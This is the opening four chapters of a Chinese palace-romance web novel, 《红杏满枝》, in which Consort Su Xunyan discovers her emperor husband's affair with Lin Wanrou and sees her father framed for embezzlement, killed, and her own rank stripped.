《红杏满枝》
1. 第 1 章
暮色渐暗,墙角的宫灯在风里明明灭灭,殿门外,一个小太监已等候多时,见宫女现身,他急急迎了上去。
“知秋姐姐,我去前殿打听过了,陛下今日天不亮就离宫了,连贴身总管都没带,到这会儿也没回宫。”
宫女知秋一听这话,就觉得蹊跷。
再回想起近日陛下对娘娘日渐冷落的态度,心中已隐隐猜到几分。
可娘娘眼下的状况,那些猜测她终究不忍说出口。
三言两语将小太监打发走,知秋便转身,重新回到殿内。
一眼便看到坐在窗边的那抹孤寂身影,她脚步轻巧的走过去,还未来得及出声,那身影便回望过来,眼眸明亮,连嘴角都微微扬起。
“你回来了,屹郎怎么说?是不是很快会来?”
“娘娘……”知秋轻声打断了她的期盼,微微垂首:“陛下今日不在宫中,您别等了,让奴婢侍候您就寝吧。”
“他出宫了?”
眼里才亮起的点点星光,瞬间暗淡下来。
“你下去吧,我自己静静。”
知秋不好再劝,只将一碗刚热过的鸡汤放到桌上,便默默离开。
苏寻雁一坐便是一整夜,直到天将破晓,她整个人才仿佛活过来般,将宫女都唤了进来。
“快,给我梳妆,我要去见陛下。”
宫女们应声上前,为她梳妆描红,不一会儿,苏寻雁那略显憔悴的面容就明艳了许多。
只是,当她兴冲冲赶到崇华殿时,等待她的只有紧闭的殿门,与挡在殿外的一众侍卫。
“你们这是做什么?我不过是想见陛下,让开!”
殿前小太监一脸为难,语气讨好地说。
“娘娘,这是陛下亲自下的令,您就别为难小的了,不如您先回去,等陛下这边忙完,奴才立马进去回话。”
在苏寻雁的再三追问下,小太监终于说了实话。
原来昨夜,韩屹从宫外带回一名女子。
这位对外向来稳重自持的陛下,头一次在众人面前露出慌乱之色,紧急传召御医进宫不说,还下令封锁殿门,不许任何人靠近。
这里面自然也包括她,苏寻雁。
可她不愿相信,仍固执的等在殿外。
那落寞单薄的背影,连御前的小太监都不忍多看,他苦口婆心的劝道。
“娘娘,里面尚不知情形如何,您在这儿干等也不是事啊,不如,先随奴才去偏殿坐会儿?”
苏寻雁却根本没在听,她想起了与韩屹之间的过往。
她自小便向往自由洒脱的生活,进宫为妃,并不在她的人生选项里。
犹记那日踏春,初遇韩屹时,他还只是个不得圣宠的皇子,似乎还遭受着其他皇子的冷落排挤。
而苏家却是武将世家,不仅手握众兵,还深得陛下信赖,皇子们见了她,无不争相示好拉拢。
唯独韩屹,像个局外人一般,独自坐在角落,默默喝茶赏景。
与众人寒暄完,她不经意的转身,恰好对上那双平静无波的眼眸。
不知为何,她突然被对方那清冷孤寂的神情所吸引,还一发不可收拾。
当日回府,她就与爹娘说,“我要嫁给他。”
“你可想好了?一旦嫁入皇家,很多事就无法转圜了。”
“他对我是真心的。”苏寻雁自信满满。
爹娘没想到她会有这种想法,都很意外,二人极力劝说,却终究没拗过她,只好妥协。
有了她爹的助力,韩屹顺利选为储君。
二人刚成婚后不久,先帝就驾崩了,韩屹顺理成章继承皇位。
她就这么看着他,从一个稚嫩少年,一步步成长为令人敬畏的帝王。
而她,却并未如自己预想的那般,获得本该触手可得的皇后之位,只是册封为贵妃。
她也曾追问过韩屹缘由,韩屹轻轻抚过她的发丝,语气温柔。
“寻雁,我才刚刚登基,朝局尚不明朗,待我彻底执掌朝政,定封你为后。”
苏寻雁信了。
安心等了三年,却只换来今日这令她难堪的局面。
苏寻雁露出一抹自嘲,她想象不出,韩屹对别人露出紧张慌乱的样子。
也无法相信,当初信誓旦旦许下的相守白头,才短短三年,便不作数……
暮色蔓延,苏寻雁只觉得双腿酸胀发麻,面前的殿门这时缓缓敞开。
她下意识的抬头,与立在门内的那抹高大身影对视上,苏寻雁迅速收回视线,将脸转向一旁。
那人笑着朝她走来,如往常那般伸出手,轻抚她的发顶,语气温和。
“不是让你先回去?怎么还站在这儿?不冷吗?”
来人正是东齐朝第三任帝王,韩屹。
苏寻雁感觉心脏突突的跳,视线有些模糊。
眼前这笑得一脸云淡风轻的人,突然让她感到陌生。
她张了张口,不知该说些什么。
“是不是累了?我先送你回去,有什么事,明日再说。”
说着,韩屹就拉过她的手,苏寻雁忙挣脱开,眼神木然的看着他。
韩屹轻叹了口气,柔声哄道:“莫不是,还在生我的气?”
他再度伸手,握住苏寻雁有些冰凉的手,“跟我走,看我给你准备了什么。”
这次苏寻雁没挣脱,随着对方一步步往前。
她有一瞬感到恍惚,仿佛之前她所受到的冷待,都是自己的幻想,并不真实。
望着对方宽阔挺拔的脊背,苏寻雁紧绷的神情逐渐放松,回握住对方。
“是要送我生辰礼吗?”
韩屹回头,嘴角露出一抹笑意,“你见了,自然就知晓了。”
苏寻雁才仰起的嘴角,在瞥见对方眼底的那抹腥红时,骤然消散。
她猛地回过神,一把甩开韩屹的手,指着身后的殿门质问:“她是谁?”
韩屹怔了怔,随即轻笑道:“你说她啊,只是一位故人,你别多想。”、
“是什么样的故人?值得你为她守一整夜?”
心底压抑许久的情绪,在这一刻爆发,她忍不住伸手推了韩屹。
远处的侍卫见状就要上前,韩屹摆了摆手,正要开口,身后突然传来一道轻柔的声音。
“屹大哥?”
二人同时回头,苏寻雁只瞥见一抹白色倩影。
韩屹疾步走至女子面前,语气淡淡。
“你怎么出来了?御医不是说,让你卧床休养?”
女子无措的垂下头,小声为自己辩解,“可是,我在里面听到了你们的争执声,是不是我给屹大哥添麻烦了?若是因为我……”
“不是,你先进去。”
韩屹打断她,随即冷声吩咐一旁的宫女。“带林小姐回去,好生侍候。”
两名宫女连忙上前,扶住那林姓女子,待几人步入殿内,沉重的殿门再度合上。
韩屹又沉声叮嘱门口的侍卫,“没我的命令,任何人不得闯入。”
侍卫们当即拱手,齐声应是。
苏寻雁低低笑了几声,随即放声大笑,眼角很快染上湿意。
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>韩屹转头看她,伸手拥她入怀,却被苏寻雁猛地推开。
“别碰我!”
她抬手,再度指向大殿的方向,“你这是在防谁?防我吗?这么紧张她?怕我伤害她?”语气嘲讽。
“没有,我没有要防你。”韩屹笑着摇头。
“那你说,她到底是谁?”
苏寻雁心底刚压下的那股火气,再度被点燃。
韩屹无奈的叹了口气,随即将她带入一旁的偏殿。
“此女名为林婉柔,乃林氏嫡女,因其父牵扯一宗贪腐案,一众家眷暂时压入狱中候审。她自幼患有喘疾,受不得牢里的阴寒湿气,我暂时将她接出来调养,待她情况转好,会另做打算。”
“呵,原来是罪臣之女,你要封她什么?还是直接封妃?”
苏寻雁听后,更觉好笑。
“寻雁,不是你想的那样,我与她只是有些儿时情谊,我的心意如何,你难道还不知?”
苏寻雁眼里含泪,嘴角露出一抹讥诮:“哦,闹了半天,那位竟还是陛下的白月光啊?”
她几次三番如此,韩屹彻底没了耐心,语气冷淡下来。
“我不知你在说些什么,你今日不冷静,我不与你计较,你先回去,我们改日再谈。”说罢,他侧身吩咐:“送贵妃娘娘回去。”
一旁的小太监连忙应声,苏寻雁眼底闪过不甘,语带锋芒。
“这么急着把我赶走,是被我戳中心事,心虚了?”
韩屹眼神骤然锋利,语气隐含警告,“苏寻雁,够了!此处不是你能胡闹的地方!”
“呵,既然知道此处紧要,为何将她带到这里休养?难道宫外就无处安置?”
面对苏寻雁的接连质问,韩屹只是沉默以对。
苏寻雁冷哼:“韩屹,你真是可笑至极!”
说罢,她转身便走。
韩屹只静静地看着她离开,没有追上去。
崇华殿内。
林婉柔抬眸看向走进来的韩屹,语气里满是自责。
“都怪我,让你们之间生了嫌隙,不然,我去向贵妃娘娘解释一下吧?”
韩屹轻轻摇头:“不必,寻雁她只是一时气急,等她知道了你的事,会比我还心疼你。”
每当提起苏寻雁,韩屹眼底就会闪过点点笑意,嘴角都不自觉扬起。
林婉柔从未见过他如此模样,她垂眸,压下眼底的嫉恨之色,柔声应道。
“是呢,能让屹大哥倾心之人,定是极好的。”
韩屹隐去眼底的柔光,眼神淡淡地瞥向她,“你且安心在此调养,待你身体好些,我们再谈及案子。”
“可……”林婉柔小心地看了一眼韩屹,欲言又止,“唉,还是算了……”
“你既还唤我一声哥,就不必隐瞒,有什么事不妨直说。”
林婉柔眼底闪过一抹挣扎,闭了闭眼,再度睁开时,她的眼神坚定了许多。
“婉柔不敢欺瞒屹大哥,其实那日,我瞧见了与我爹接头之人,只是碍于情面,不好讲出。”
说罢,她还偷瞄了一眼韩屹的脸色,见他眼底闪过不耐,她忙低声说。
“那人正是苏贵妃的父亲,苏溢之。”
“你可知,你在说什么?”
韩屹当即冷下脸色,语气冷冽如冰。
林婉柔吓得连忙垂下头,一句话也不敢再说,身侧的手指紧抓着衣裙。
韩屹意味不明地看了她一眼,随即大步朝外走。
转身的刹那,他眼底闪过一抹狡黠,与方才那清冷淡漠的神情截然不同。
2. 第 2 章
那日之后,苏寻雁便将自己封闭在雁鸣宫内,再未踏出半步。
她日日静坐窗前,满心期待着熟悉的身影出现在眼前。
可三日过去,韩屹非但没来,也不曾派宫人来询问过,似是并不把她当日的气恼放在眼里。
他明知自己因何气恼,却连一句解释也没有,更别说道歉赔罪了,这若放从前,是绝无可能的。
他们先前也曾有过争执,却从不会将矛盾留到第二日。
她还记得那时,韩屹亲昵的将她揽入怀中,在她的耳边低语。
“记住,我们之间不会有秘密,更不会有隔夜仇。”
她当时有多感动,如今就有多心寒。
原来男子许下的承诺,是如此轻易就能忘却。
眼看着天色渐渐暗沉,苏寻雁蓦地站起,对侍候在旁的宫女说。
“去取件外衫来,我要去崇华殿瞧瞧。”
宫女领命转身,却被走进来的管事嬷嬷抬手拦住。
“你先下去,我与娘娘有话要说。”
宫女应声退下,待殿门完全合上,嬷嬷才低声与苏寻雁道。
“娘娘,如今外面有无数双眼睛盯着咱们雁鸣宫,您可不能自乱了阵脚啊!”
苏寻雁却满不在乎:“我管她们如何,我只想去确认一件事。”
“是,老奴知道您眼里只有陛下,其他的莺莺燕燕您从不放心上。”
苏寻雁颇为认同地点了点头,嬷嬷话锋一转,又道。
“可这次不同了,陛下几日前就将崇华殿封锁,任何人不得入内,连大臣们都不知陛下这是何用意,府里今早递过来消息,夫人让您稍安勿躁,万不可陷入他人的圈套之中啊。”
苏寻雁一听这话音,就觉得不对,连忙追问:“母亲这话什么意思?你们是不是瞒了我什么?”
嬷嬷故作淡定地否认:“没有,夫人只是听说了林家的事,怕您牵扯其中,影响了将军。”
“不对,你们肯定有事瞒我,嬷嬷……”
她正要继续追问,殿外突然传来此起彼伏的问安声。
苏寻雁忙止住话茬,朝殿外望去。
不出所料,来人正是韩屹。
他穿着一身玄青色暗纹便袍,头上只用了一根玉簪束发,浑身透着一股难得的随意松弛。
见苏寻雁端坐窗前,他笑着走进来,“寻雁,看我给你带了什么。”
说罢,将一把做工精良的古琴,放到面前的木桌上,随即绕到苏寻雁身旁的位置坐下。
“这古琴可是我寻觅良久才得来,那日你走得急,都没看到,想不想试试它的音色如何?”
苏寻雁嘴角挂上一抹淡笑,手指随意的在琴弦上拨弄了几下,一串清灵的琴音便响起,整室都安静下来。
烦闷了几日的心情,在这一刻得到疏解。
她自小便喜爱音律,琴技更是堪比大家,韩屹这次的生辰礼算是用了心。
若没有林婉柔那档子事,她今年定能过一个难忘的生辰,只可惜……
韩屹见她脸上露出笑意,便牵起她的手,一边向殿外走,一边回头与她说。
“前几日是我态度不好,寻雁,能否原谅我?”
苏寻雁任由他牵着自己,语气淡淡:“陛下是觉得,单凭一把古琴,就能将之前的矛盾化解?”
韩屹闻言也不恼,还轻笑道:“自然不是,随我来,我们先去用晚膳,好不好?”
对方态度如此,她也不好再明着拒绝,便随韩屹一道出了雁鸣宫。
二人行至醉花亭,苏寻雁不禁驻足。
暮色已至,醉花亭的六个飞檐处,悬有六盏七彩宫灯,二人刚踏入亭子,宫灯便依次亮起,光华流转,与河面浮动的点点莲灯交相辉映,竟美得如梦境般璀璨夺目。
“喜欢吗?”
随着这句低沉的询问,一个紧实的拥抱将她紧紧围拢。
苏寻雁没回头,就着这个姿势,轻声说了句:“喜欢。”
只是她眼中的惊艳很快褪去,留下的只有淡淡的疏离。
得到了满意答复,韩屹就松开怀抱,牵起她的手,走至桌边。
圆桌之上的精致菜肴,散发着阵阵肉香,与亭外的荷花香交织在一起,不禁让人食欲大动。
“我们先用膳?”
苏寻雁随即点头:“好。”
话音刚落,侍女们便拿来碗筷,服侍二人用膳。
韩屹朝她们摆了摆手,几名宫女忙停下手中的动作,朝二人行礼,默默退出凉亭。
苏寻雁面露不解,“怎么将人都遣走了?”
韩屹站起身,为她斟满酒杯,才含笑道:“说了是赔罪,自是要有足够的诚意才行。”
接着,又动作自然的夹起一片鸭肉,放到苏寻雁面前的瓷碗里。
“这几日,你是不是没好好用膳?都瘦了,来,多吃些,都是你爱吃的。”
这一桌确实是她爱吃的菜肴,她却没急着动筷,而是状似无意的问道。
“陛下今日如此殷勤,怕不是做了什么对不起臣妾的事吧?”
韩屹低低笑了声,抬起食指,轻轻勾了下苏寻雁的鼻子。“瞎说什么呢?”眼底是掩饰不住的偏爱,“快吃,菜要凉了。”
说罢,又为苏寻雁夹起一块鱼肚肉。
见她吃完了碗里的菜,韩屹眉头舒展,低声道:“不许再唤我陛下,我更想听你唤我屹郎。”
“这称呼恐怕不再合适了。”
苏寻雁放下筷子,抬眸望向他,“陛下有事不妨直说,与我不必如此迂回。”
“我今日只是来赔罪的,哪有什么旁的事,寻雁如此说,我可是会伤心的。”说罢,他又从身后拿出一个做工精致的木盒,推到苏寻雁面前。
“打开看看,喜不喜欢。”
苏寻雁有些意外,“这是什么?不是刚送过一把古琴吗?”
“古琴是为你准备的生辰礼,这份是赔罪的,快看看。”
苏寻雁依言打开木盒,里面放着一对水滴样式的白玉耳坠,晶莹剔透,触感冰凉。
“来,我给你戴上。”韩屹不容分说的将耳坠拿起,示意她侧身。
苏寻雁微微侧身,韩屹动
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作熟练的为她戴上白玉耳坠。
苏寻雁本就肤白,戴上这白玉耳坠,衬得她肤色越发白皙莹润,整个人仿佛透着光。
她伸手摸了摸耳坠,只觉两耳沉甸甸的。
韩屹却早已看得失了神,指尖情不自禁地拂过她的发丝,俯身就要吻上那粉嫩的唇瓣,却被苏寻雁伸手抵住胸口。
“在事情没说清楚之前,陛下还是克制些。”
韩屹无奈妥协:“好,你想知道什么,都可以问我。”
"看来陛下是不打算主动说了?"
看到对方那满不在乎的妥协模样,苏寻雁就来气,仿佛她才是那个无理取闹的人。
注意到她情绪的转变,韩屹一把将她拥入怀里,柔声道:“好好好,那我们先去乘舟,在舟上边赏景边说?”
“不,就在这儿说。”
韩屹虽答应下来,却并不急着开口,他先给自己盏满一碗茶,慢慢喝尽,才开口。
“这林婉柔虽是林府嫡女,却并不得府里待见,她自小便养在郊外庄子上,我与她是少时相识,她曾救过我一命。”
苏寻雁了然,“所以你就将她从牢里接出来,还住进崇华殿养病?”
“不是,我先前同你说过,我在暗中调查一桩军饷贪墨案,她的父亲牵扯其中,此案最关键的线索,也是她暗中提供,让她住进崇华殿,也是出于对她的保护。”
说到这里,韩屹握住苏寻雁的手,语气透着几分认真:“我对她,仅是出于对证人的保护,再无其他,你可不许再多想。”
“我又没说什么,你在心虚什么?”
韩屹讶然失笑:“好,是我想多了。”
苏寻雁轻哼一声,甩开他的手,别过脸去。
“此案牵扯甚多,林婉柔还需严加保护。”说着,他又凑近几分,双手捧住苏寻雁的脸,耐心哄道:“不生气了好不好?”
不想苏寻雁今日格外清醒,没有被他哄骗到,反而继续追问:“说完了?你对她的那些格外关照,真的只是因为案子?”
韩屹笑着点了点头:“当然,待她身体好转,案子寻到新线索,我就将她送走。”说着,他额头抵着苏寻雁,语气不容置疑:“听话,不许再同我置气了。”
事情好像都解释清楚了,可不知为何,苏寻雁却觉得哪哪都透着反常。
见她不回应,韩屹只当是默认了,再度将她抱紧,二人温存了片刻,正兴起时,一个宫女匆匆赶来,将韩屹心中刚兴起的旖旎生生打断。
他冷眼瞪向来人,语气不善:“你最好是有要紧事。”
小宫女吓得慌忙跪下,声音颤抖:“陛下恕罪,林姑娘病情严重,御医们无法做主,还请陛下前去……”
话音未落,韩屹猛地起身,大步流星朝外走,头都不曾回,仿佛不记得亭中还有一人。
苏寻雁轻笑了下,没有出声唤他,而是站起身,沿着廊道缓缓朝外走。
事情到这里,她已明了,今日这场幽会,表面上是在向她赔罪,实则却是在安抚她。
只是不知,韩屹究竟隐瞒了她什么……
3. 第 3 章
得知陛下提前离开,知秋与嬷嬷忙赶去湖边找苏寻雁。
可两人找遍醉花亭与周遭廊道,就是不见苏寻雁的身影。
知秋急哭了,“娘娘她该不会想不开……”
“呸呸,你在瞎说什么呢?”嬷嬷没好气地打断她,“咱们娘娘可不是自怨自艾的人,她不会。”
“对对,娘娘她素来有主意,定不会想不开。”知秋像是找到了主心骨,无意识地应道。
话虽如此,她们心里还是有些担忧。
正六神无主之际,一名小宫女找了过来,“贵妃娘娘去了崇华殿,她让二位不必着急。”
两人闻言,心顿时一沉,只觉眼下的情况更糟了。
苏寻雁方才沿着廊道慢慢往回走,突然就想通了一些事,她与其在这胡思乱想,不如直接找韩屹当面说清楚。
她随即调转方向,往崇华殿走去。
只是不知为何,今日的崇华殿外,竟连一个守卫也无,殿门还虚掩着,她想寻个当值太监,替她进去通传一声,都寻不到人。
她在原地犹豫了片刻,最终还是决定先离开,明日再来。
可不等她转身,殿内突然传出一段对话,令她震惊不已。
“屹大哥,那晚,只是一个意外,这孩子,还是不要留了……”
话音未落,林婉柔便忍不住低声抽泣,颤动地连话都说不完整。
韩屹难得对她露出几分耐心,语气温和:“你别这么说,这也不是你的错,孩子更没有错,此事,该由我们一起面对。”
“可贵妃娘娘那边,要怎么说?她若是知晓……”
“你尽管调理好自己身体,将孩子平安生下,至于其他,你不必操心。”韩屹连忙打断她。
苏寻雁猛地后退一步,她用手背死死抵住嘴,不让自己发出惊呼,可眼眶里的泪水还是抑制不住地往下掉。
她忍不住蹲下身,任由心底的悲伤蔓延,周遭安静地仿佛只剩她一人。
知秋与嬷嬷寻来时,见到的就是这幅场景,昏暗灯光下,一道熟悉的身影蹲在殿门前,肩膀止不住的颤动。
二人认出那是苏寻雁,慌忙上前,将她扶起。
知秋先忍不住问道:“娘娘,您可让我们好找啊,您,这是怎么了?发生何事了?”
苏嬷嬷连忙将怀里的长袍抖开,轻轻披在苏寻雁的身上,柔声说。
“娘娘定是累坏了吧?快回宫暖暖。”
殿内二人被门外的动静惊动,一前一后走了出来。
苏寻雁下意识的转头,恰好捕捉到韩屹眼里一闪而过的慌乱与心虚,心底仅存的一丝期盼也就此消散。
伤到极致,大概就哭不出来了吧!
她甚至还朝韩屹露出一抹淡笑。
看着她失魂落魄的模样,韩屹心下一沉,他缓步上前,眼神躲闪地问道:“寻雁,你怎么会在这?你,都听到了……”
苏寻雁什么也没说,只是收了笑,毫无征兆地抬手,‘啪’的一声脆响,一记耳光狠狠甩在韩屹的脸上。
“韩屹,你真让我恶心!”
说罢,她转身跑远。
韩屹眼神慌乱,快步追了上去,“寻雁,寻雁你先听我说,事情不是你想的那样,我……”
苏寻雁猛地顿住身形,转过身,眼神嘲讽:“你想说什么,是不是又想说是我想多了?是我不信任你?可我的信任换来了什么?韩屹,你到底还有多少秘密瞒着我?”
韩屹欲言又止,苏寻雁懒得再看他那副虚伪的表情,正要离开,林婉柔这时突然走上前,心疼地望着韩屹的脸。
“屹大哥,你的脸疼不疼啊?”
韩屹却只顾盯着苏寻雁,丝毫没有注意到她,林婉柔压下心底的不甘,声音哽咽地说。
“贵妃娘娘,你何必这样,这孩子只是个意外,屹大哥的心里从始至终只有你一人,你若真有气,尽管冲我来!”
苏寻雁冷笑一声,头也不回地转身,背影透着丝决绝。
知秋暗暗瞪了二人一眼,便小跑着去追苏寻雁。
只苏嬷嬷一人留了下来,她上前几步,不卑不亢地与韩屹说。
“陛下,娘娘心里一直期盼着这次生辰,可今年的生辰却比往年都要冷清。
您与林姑娘的事,老奴不敢多言,可娘娘这些年对陛下的心意如何,又为之付出了多少,您当真无动于衷吗?”
韩屹眼神复杂,过了半响,他应道:“寻雁的心意,我知晓,此事,我必会给她一个交代。”
苏嬷嬷福了福身,默默离开。
她不求对方能改变,只愿他能记起几分与娘娘昔日的情分。
——
“屹大哥,贵妃娘娘这次怕是真伤心了,你快去解释一下。”
林婉柔一脸焦急地望着韩屹,仿佛真心为二人的关系感到担忧。
韩屹收回视线,看向她,神色瞬间转冷:“收起你不该有的心思,认清自己的身份,有些位置,不是你该觊觎的。”
林婉柔脸色瞬间转青,眼底的不甘就快要压不住,却还是极力忍耐。
“我,我没有,屹大哥你误会我了。”
韩屹不置可否地笑了笑,随即转身返回崇华殿。
侍卫见他回来,忙上前禀报:“陛下,苏府已搜寻出密函,苏将军参与贪腐案证据确凿,是否将其捉拿归案,还请陛下圣裁!”
韩屹眼底闪过一丝兴味,沉吟片刻,他摆了摆手。
“此事不宜声张,需暗中进行,你持朕的手谕去一趟苏军营地,命他秘密回京,他若问起,只说朕有要事需与他当面商议。”
“是,属下领命!”
事情进展得异常顺利,韩屹嘴角露出一抹几不可察的弧度,眼底闪过一丝锋芒。
此后几日,苏寻雁一如往常地用膳,赏景,兴起时也会抚琴一曲,却再未问过韩屹与林婉柔之事,仿佛已经放下。
可苏嬷嬷心知,娘娘对韩屹用情至深,她随苏寻雁一路从苏家步入深宫,最是清楚她的性子,这么深的感情哪是说放下就能放下的。
只盼着时日长了,她真的能释怀。
眼看着日子趋于安稳,不曾想,接连传来的噩耗,终究是打破了眼前
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的平静。
这日一早,苏嬷嬷刚走出大殿,一个小太监急匆匆跑了过来。
“嬷嬷,不好了!方才陛下封了那林氏位分,如今她已经是林美人了。”
苏嬷嬷闻言脸色一沉,正要叮嘱他小声些,殿内便传来苏寻雁的声音。
“有什么话,进来说,在门口嘀咕什么呢?”
二人转身进殿,脸上挂着勉强的笑,却谁都不愿将实情讲出。
苏寻雁却不给他们逃避的机会,直接问道:“说说吧,刚才在外面嘀咕什么呢?”
见苏嬷嬷不忍说,小太监就挺身而出,坦言道。
“回娘娘,奴才有个老乡在殿前做洒扫,他透漏给奴才一个消息。”他越说越小声。
“嗯,说下去。”
苏寻雁单手托腮,垂眸看他。
小太监慌忙垂下头,语气小心翼翼:“那林家姑娘,方才被陛下册封为美人。”
“哦,就这点事,将你们难为成这样?这有什么,不过是早晚的事。”
说罢,苏寻雁垂头,继续拨弄琴弦。
苏嬷嬷与小太监忍不住对视一眼,在各自的眼中看到了惊异之色,只觉苏寻雁的反应太过平静。
“娘娘,您要是觉得心里难受,就与老奴说,千万不要憋在心里啊。”
苏嬷嬷见她如此,就有些不放心,只怕她会做什么傻事。
苏寻雁这时停了手,笑着望向二人,“怎么?难道我哭就好了?你们放心,自那日之后,我便想清楚了,也对他死心了。”
苏嬷嬷闻言露出一抹欣慰地笑,还想再劝说几句,却被门口传来的问安声打断。
殿外这架势,不必看也知来人是谁,正是那多日不见的韩屹。
这才刚册封了美人,他就跑来寻娘娘,定然没好事。
苏嬷嬷只觉来者不善,不着痕迹地向前挪了几步,用自己微胖的身躯将苏寻雁护在身后。
果不其然,韩屹脚步刚一踏进来,就一脸不耐地朝几人摆手,示意她们下去。
几名宫女依言退下,只苏嬷嬷还固执地留在殿内,眼神担忧地看向苏寻雁。
韩屹脸色当即一沉,苏寻雁注意到,连忙起身,安抚地轻拍了一下苏嬷嬷的肩膀。
“没事,苏嬷嬷,你先退下。”
苏嬷嬷走了几步,又不放心地回头看了她一眼,苏寻雁露出一抹淡笑,她才放心地离开。
直到殿门彻底闭拢,韩屹紧绷的面色才渐渐缓和。
他走到苏寻雁身旁,压低声音解释道。
“寻雁,我与林婉柔之事,只是个意外,那夜我在宫外遭人暗算,我……身不由己。”
“行了。”苏寻雁不耐烦地打断他:“此事不必再说,我也不想听,事已至此,再多的解释也是无用。”
韩屹抬手捂住脸,过了半响,自责道:“寻雁,此事是我不对,我会补偿你,你只要记住,我心里始终只有你一个,你要信我。”
苏寻雁被他的话逗笑了,只觉眼前之人无耻至极。
“陛下铺垫了这么久,到底想与我说什么?”
4. 第 4 章
韩屹牵起她的手,语气认真。
“寻雁,我会让钦天监择一个良辰吉日,为你举行封后大典,至于林婉柔,看在孩子的份上,只封她一个美人足矣。”
说到这里,他顿了顿,暗暗观察着苏寻雁,见她神色始终平静,又继续道。
“待她诞下子嗣,便将孩子过继到你的名下,以后就是你的孩子,如何?”
苏寻雁眼神紧盯着他,仿佛要看穿他的内心。
韩屹被盯得不自在,坦言笑道:“这么盯着我做什么?我先前与苏嬷嬷保证过,必要给你一个交代,这是我能想到的最大补偿。”
苏寻雁深吸了几口气,试图让自己冷静下来,过了片刻,才开口。
“先不说我要不要当这个皇后,即便我当,我也绝不会养别人的孩子。”
她语含讥诮:“给我一个交代,说得好听,你不过是看孩子的母亲出身不显,想要为他寻一个家世显赫的外家罢了,你想得倒是美!”
“寻雁,你竟这般想我?”
韩屹痛心疾首,无奈扶额:“你我相伴三余载,我的心意如何,你还不清楚?我这是在为你筹谋啊,寻雁,你太令我失望了!”
这句失望,刺痛了苏寻雁,将她彻底惹火。
“呵,你的心意,我还真是不清楚,还有,不需要你为我筹谋,有这精力,多为你那美人筹谋去吧!”
“苏寻雁,你不要太过分了!”
韩屹的耐心彻底告罄,脸色铁青地指着她的鼻子,厉声喝道。
“我过分?说到你的痛处,就说我过分?”
看着眼前面色狰狞的男人,苏寻雁心头翻涌的情绪突然平息,浑身的力气仿佛已耗尽,她深深地望着韩屹,语气极轻:“韩屹,我从未看清过你。”
“好,好得很,我给你的,你既如此不屑,那便休怪我无情!”
说罢,他一甩衣袖,决然离去。
听到殿内激烈的争执声,殿外几人一脸焦急,突然,大门‘砰’的一声从内踹开,韩屹怒气冲冲朝外走,苏嬷嬷朝他福了福身,便急忙朝殿内奔去。
“娘娘,你怎么样?陛下他,没对你动手吧?”
苏寻雁突然身体一软,苏嬷嬷急忙上前将她揽住,目光顺势扫过她的周身,检查她是否有伤。
苏寻雁靠在床榻上,缓了缓,才说。
“嬷嬷,我无事,我们只是争执了几句,不至于动手。”
苏嬷嬷松了一口气,又不放心地追问。
“陛下与您说了什么,我看他方才走时脸色不对,可是因那位林美人?”
苏寻雁眼神放空地看向窗外,随即摇头:“我与他,算是缘尽了,这样也好,我们以后就只在雁鸣宫过自己的清静日子。”
苏嬷嬷心疼地抱住苏寻雁,温声安抚:“好,就依娘娘的意思,宫里的那些糟心事,我们不必再管。”
林婉柔虽只是封为美人,韩屹却为她摆了席面,为她撑足了面子。
几位皇室旁支的家眷也闻讯进宫,向她道贺。只因韩屹在位三年,还是头一次有了子嗣,就冲这点,也值得庆贺。
而崇明殿那边的热闹喜庆,似乎并未影响到不远处的雁鸣宫,只见宫人们神色平静,并未将眼前的变故放在心上。
转眼一月过去,见苏寻雁状态恢复,苏嬷嬷就要给府里去信,告知夫人宫内情况。
不想,她还未来得及动笔,知秋就慌慌张张跑进来,差点将她惊着。
“娘娘,不好了,娘娘!”
苏嬷嬷随即转身,没好气地剜了她一眼。
“嘱咐过你多少次了,说话做事稳重些,主子面前说什么好不好的,没规矩。”
苏寻雁嘴角的弧度才刚泛起,便凝固住了。
知秋哭得满脸泪痕,语气颤抖:“娘娘,将军,将军他,回京路上遭遇突袭,昨日,亡故了……”
"咚"的一声闷响,琴弦重重回弹到苏寻雁的指尖,鲜血瞬间滴落下来,可她浑然不觉,只顾盯着知秋的唇,身体不自觉发颤。
那些字每一个她都明白,可连在一起,却怎么也拼凑不出完整的意思。
苏嬷嬷也接受不了,她眼眶瞬间红了,“怎会,将军他怎会?”
知秋抱住苏嬷嬷就开始哭,苏嬷嬷也难过的回抱住她,一时间,几人哭做一团,只苏寻雁还没缓过来。
“知秋,你刚才说的什么?你再说一遍。”
知秋泣不成声,她用手捂住嘴,呜呜地痛哭。
“苏寻雁接旨!”
这时,御前的大太监带着几名随从缓步走进大殿,他目光扫过殿内的几人,态度怠慢。
苏嬷嬷忙上前将苏寻雁扶起,轻声劝道:“娘娘,先
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接旨吧。”
苏寻雁怔怔地跟着苏嬷嬷往前走,随即跪下。
大太监那尖细的嗓音,今日听着格外刺耳,他一字一句宣读着圣旨上的内容。
“将军苏溢之勾结户部员外郎林萧,贪墨军饷十万两,念其生前履历战功,且意外亡故,其家眷流放三千里,其女苏寻雁,德不配位,降为苏嫔,即日生效—钦此!”
见苏寻雁仍跪着没动,大太监不耐烦的出言提醒:“苏嫔,还不快接旨谢恩!”
苏嬷嬷见苏寻雁还在晃神,就暗暗拽了拽她的衣角,提醒她回神。
苏寻雁猛地起身,一把夺过圣旨,目光快速扫过上面内容,不可置信地喃喃。
“不可能,父亲不可能做这种事,你们这是诬陷!这圣旨,我是不会接的!”
说罢,她将圣旨扔到地上,就要往外冲,却被门口的几名侍卫给拦住。
“你们给我让开!”
大太监扬声喝道:“苏嫔,你好大的胆子!竟敢违抗圣旨,这可是死罪!”
苏寻雁却浑不在意,“韩屹呢?我要见他!我父亲驻守边关数十载,你们轻飘飘的一句话,就要将他所有军功都抹除吗?”
苏嬷嬷见状,连忙上前抱住苏寻雁,颤声劝道:“娘娘,您先别冲动,这其中定有什么误会,别急,我们……”
“这事可没什么误会,苏将军贪墨军饷,证据确凿,我劝你们啊,也别折腾了,赶快接旨谢恩,我也好回去复命。”
大太监没耐心看她们在这哭哭啼啼,他只想把差事顺利办完。
苏寻雁仍不死心,“证据在哪?拿来给我。”
“呵,还当自己是贵妃呢?还要证据,证据怎么可能拿给你,真是冥顽不灵。”
大太监气得一甩浮尘,转身欲走,苏嬷嬷连忙上前拦住他。
“总管总管,您见谅,发生了这么大的变故,我家娘娘太过悲痛,一时接受不了,还请您多担待。”
说罢,将一袋金叶子塞到他怀里,轻声道:“苏夫人身子弱,还望总管您多多费心,还有将军的后事……”
大太监颠了颠手里的钱袋,试着有些分量,才露出笑脸。
